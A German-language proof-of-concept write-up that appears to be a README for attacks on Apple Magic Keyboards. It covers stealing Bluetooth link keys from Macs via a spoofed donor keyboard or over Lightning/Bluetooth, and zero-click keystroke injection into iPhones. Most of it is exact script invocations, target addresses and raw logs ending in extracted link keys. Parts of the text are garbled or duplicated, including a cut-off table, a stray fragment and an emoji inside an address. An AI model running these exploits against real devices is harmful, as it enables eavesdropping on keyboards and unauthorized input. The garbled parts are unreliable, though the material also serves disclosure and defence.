Der PoC setzt diesen Angriff um, indem die Ziel-Bluetooth-Adresse und die Seriennummer auf eine Spender-Tastatur geschrieben werden, die Spender-Tastatur an den Mac angeschlossen wird und anschließend der Link-Key von der Spender-Tastatur gelesen wird.
Dieser Angriff kann durch die Aktivierung des Lockdown-Modus auf dem Mac entschärft werden.
#### Betroffene Versionen
Apple hat am 9. Januar 2024 mit der Bereitstellung von [Magic-Keyboard-Patches](https://support.apple.com/en-us/HT214050) begonnen.
macOS-Versionen 12, 13 und 14 wurden getestet und als anfällig für diesen Angriff befunden. Frühere macOS-Versionen wurden nicht getestet.
Die folgenden Apple-Peripheriegeräte wurden getestet und als anfällig für diesen Angriff befunden. Andere Peripheriegeräte wurden nicht getestet, daher ist diese Liste möglicherweise unvollständig.
| Produktname | Modellnummer |
|-|-|
| Magic Keyboard | A2450 |
| Magic Keyboard mit Touch ID | A2449 |
| Magic Keyboard mit Nummernblock | A1843 |
| Magic Keyboard mit Touch ID und Nummernblock | A2520 |
| Magic Mouse | A1657 |
#### Ausgangszustand
- Das Magic Keyboard ist mit einem Mac gekoppelt, auf dem der Lockdown-Modus nicht aktiviert ist
- Der Angreifer kennt die Bluetooth-Adresse und Seriennummer des Magic Keyboards
- Der Angreifer verfügt über eine Spender-Tastatur (die vorübergehend neu konfiguriert wird, um die Ziel-Tastatur zu spoofen)
#### Ausführen des PoC```
> ./read-link-key-from-mac.py --help
usage: read-link-key-from-mac.py [-h] -a KEYBOARD_ADDRESS -s KEYBOARD_SERIAL
options:
-h, --help show this help message and exit
-a KEYBOARD_ADDRESS, --keyboard_address KEYBOARD_ADDRESS
-s KEYBOARD_SERIAL, --keyboard_serial KEYBOARD_SERIAL
./read-link-key-from-mac.py -a 1c:57:fc:08:65:12 -s F1T2107RUNW12NXA9
#### Ausgabe```
[2024-01-07 10:34:53.910] Turn on the donor keyboard and plug it into this computer
[2024-01-07 10:34:58.200] changing Bluetooth address from 3C:A6:F6:E1:3D:F0 to 1c:57:fc:08:65:12
[2024-01-07 10:34:58.201] serial number: F0T230C02AZ0NC1EH -> F1T2107RUNW12NXA9
[2024-01-07 10:34:58.202] Unplug the donor keyboard and plug it into the Mac.
[2024-01-07 10:34:58.202] Wait a few seconds, then plug it back into this computer.
[2024-01-07 10:35:02.533] keyboard was unplugged
[2024-01-07 10:35:13.463] keyboard has returned
[2024-01-07 10:35:13.464] Mac BT Address - a4:c3:99:e8:a8:6c
[2024-01-07 10:35:13.464] BT Link-Key - c95e3ec98809f2745d32029e7f97b67e
Wenn das Magic Keyboard an den Mac angeschlossen ist, sendet der Mac den Bluetooth-Link-Key über USB an das Magic Keyboard.
Der Link-Key bleibt im Speicher, bis das Magic Keyboard ausgeschaltet wird, und kann über einen nicht authentifizierten Bluetooth-HID-Dienst auf der Tastatur ausgelesen werden.
Der nicht authentifizierte Bluetooth-HID-Dienst wird verfügbar, sobald das Magic Keyboard vom Mac getrennt wird, und bleibt verfügbar, bis die Bluetooth-Verbindung hergestellt ist.
Dies ist ein Zero-Click-Angriff mit einer Timing-Komponente. Der PoC implementiert keinen Timing-Trigger, sondern versucht stattdessen, in einer Schleife eine Verbindung zum Magic Keyboard herzustellen, bis dies gelingt.
Apple hat am 09.01.2024 mit der Auslieferung von Magic-Keyboard-Patches begonnen.
Die folgenden Apple-Peripheriegeräte wurden getestet und als verwundbar für diesen Angriff befunden. Andere Peripheriegeräte wurden nicht getestet, daher ist diese Liste möglicherweise unvollständig.
| Product Name | Model Number |
|---|---|
| Magic Keyboard | A2450 |
| Magic Keyboard with Touch ID | A2449 |
| Magic Keyboard with Numeric Keypad |
Schließen Sie das Magic Keyboard mit einem Lightning-auf-USB-Kabel an den Linux-Computer an und führen Sie dann das Skript aus. Sobald das Skript läuft, trennen Sie die Tastatur vom Mac.
Wenn die Tastatur getrennt wird, gibt es ein Rennen zwischen dem Angreifer-Rechner und dem Mac um die Verbindung zur Tastatur.
Der PoC verbindet sich normalerweise entweder ~5 oder ~25 Sekunden nach dem Trennen der Tastatur vom Mac mit dem Magic Keyboard. Manchmal gewinnt der Mac das Rennen, und wenn das passiert, wird der PoC nicht abgeschlossen.``` ./read-link-key-lightning.py
#### Aufruf```
./read-link-key-bluetooth.py 1c:57:dc:88:55:02
[2024-01-07 13:09:59.311] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:00.313] ERROR connecting on port 17: timed out [2024-01-07 13:10:00.314] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:00.316] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:00.318] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:01.359] ERROR connecting on port 17: timed out [2024-01-07 13:10:01.361] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:01.362] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:01.364] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:02.407] ERROR connecting on port 17: timed out [2024-01-07 13:10:02.408] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:02.410] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:02.411] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:03.448] ERROR connecting on port 17: timed out [2024-01-07 13:10:03.449] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:03.451] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:03.452] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:04.512] ERROR connecting on port 17: timed out [2024-01-07 13:10:04.513] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:04.515] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:04.516] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:05.568] ERROR connecting on port 17: timed out [2024-01-07 13:10:05.569] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:05.638] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:05.640] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:06.680] ERROR connecting on port 17: timed out [2024-01-07 13:10:06.681] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:07.682] ERROR connecting on port 17: timed out [2024-01-07 13:10:07.684] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:08.685] ERROR connecting on port 17: timed out [2024-01-07 13:10:08.687] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:09.689] ERROR connecting on port 17: timed out [2024-01-07 13:10:09.690] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:10.691] ERROR connecting on port 17: timed out [2024-01-07 13:10:10.693] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:11.694] ERROR connecting on port 17: timed out [2024-01-07 13:10:11.696] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:12.697] ERROR connecting on port 17: timed out [2024-01-07 13:10:12.699] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:13.700] ERROR connecting on port 17: timed out [2024-01-07 13:10:13.702] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:14.704] ERROR connecting on port 17: timed out [2024-01-07 13:10:14.705] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:15.707] ERROR connecting on port 17: timed out [2024-01-07 13:10:15.708] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:16.709] ERROR connecting on port 17: timed out [2024-01-07 13:10:16.711] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:17.712] ERROR connecting on port 17: timed out [2024-01-07 13:10:17.714] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:18.715] ERROR connecting on port 17: timed out [2024-01-07 13:10:18.717] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:19.719] ERROR connecting on port 17: timed out [2024-01-07 13:10:19.720] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:20.722] ERROR connecting on port 17: timed out [2024-01-07 13:10:20.723] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:21.725] ERROR connecting on port 17: timed out [2024-01-07 13:10:21.726] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:22.728] ERROR connecting on port 17: timed out [2024-01-07 13:10:22.729] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:23.731] ERROR connecting on port 17: timed out [2024-01-07 13:10:23.732] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:24.734] ERROR connecting on port 17: timed out [2024-01-07 13:10:24.735] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:25.737] ERROR connecting on port 17: timed out [2024-01-07 13:10:25.738] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:26.739] ERROR connecting on port 17: timed out [2024-01-07 13:10:26.741] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:26.824] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:26.826] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:27.868] ERROR connecting on port 17: timed out [2024-01-07 13:10:27.869] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:28.262] SUCCESS! connected on port 17 [2024-01-07 13:10:28.264] connecting to 1c:57:dc:88:55:02 on port 19 [2024-01-07 13:10:28.290] SUCCESS! connected on port 19 [2024-01-07 13:10:28.291] [TX-17] 53ff34 [2024-01-07 13:10:28.346] [RX-17] 00 [2024-01-07 13:10:28.346] [TX-17] 43f0 [2024-01-07 13:10:28.414] [RX-17] a3f0340347011c57dc88550200254000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 [2024-01-07 13:10:28.414] [TX-17] 53ff35 [2024-01-07 13:10:28.458] [RX-17] 00 [2024-01-07 13:10:28.458] [TX-17] 43f0 [2024-01-07 13:10:28.498] [RX-17] a3f035010150de06a8e1ca80b480523b23bbff5ea40c52e88f1905 Model 0 - Magic Keyboard BT Address - 1c:57:dc:88:55:02 Mac BT Address - 50🇩🇪06:a8:e1:ca BT Link Key - 05198fe8520ca45effbb233b5280b480
### iOS-Tastatureingabe-Injektion
Wenn ein iPhone versucht, sich über Bluetooth mit einem gekoppelten Magic Keyboard zu verbinden, kann ein Angreifer das Magic Keyboard gegenüber dem iPhone vortäuschen, eine virtuelle Bluetooth-Tastatur koppeln und ohne Bestätigung durch den Benutzer Tastatureingaben injizieren.
Diese Attacke hat eine Timing-Komponente: Der Angreifer muss sich in dem exakten Moment mit dem iPhone verbinden, in dem das iPhone versucht, sich mit dem Magic Keyboard zu verbinden.
Der enthaltene PoC wird ausgelöst, wenn das iPhone versucht, sich mit seinem gekoppelten Magic Keyboard zu verbinden. Er verwendet denselben SDP-Timing-Trigger wie der macOS-PoC und wird ausgelöst, wenn sich das iPhone mit seinem gekoppelten Magic Keyboard verbindet. Dies ist ein Zero-Click-Angriff, der erfordert, dass der Angreifer beobachtet, wie sich ein Benutzer mit seinem gekoppelten Magic Keyboard verbindet.
#### Betroffene Versionen
- iOS 17 ist vor 17.2 verwundbar
- iOS 16 ist verwundbar, es ist kein Patch zu erwarten
- iOS 15 und älter wurden nicht getestet
#### Ausgangszustand
- Das iPhone ist mit einem Magic Keyboard gekoppelt, und die Tastatur ist außerhalb der Reichweite oder ausgeschaltet.
- Wenn der Benutzer versucht, sich mit seinem Magic Keyboard zu verbinden, injiziert der PoC Tastatureingaben, um einen Webbrowser zu öffnen und eine Google-Suche durchzuführen.
#### Ausführen des PoC
**HINWEIS: Für diesen PoC muss BlueZ auf dem Angreifer-Rechner im Kompatibilitätsmodus ausgeführt werden. Das iPhone-PoC-Skript befindet sich in iphone-poc.zip**```
> ./iphone-poc.py
usage: ./iphone-poc.py <hciX> <BT_ADDR_IPHONE> <BT_ADDR_KEYBOARD>
./iphone-poc.py hci1 4C:20:B8:D6:63:45 1C:57:DC:88:55:02
| A1843 |
| Magic Keyboard with Touch ID and Numeric Keypad | A2520 |
| Magic Mouse | A1657 |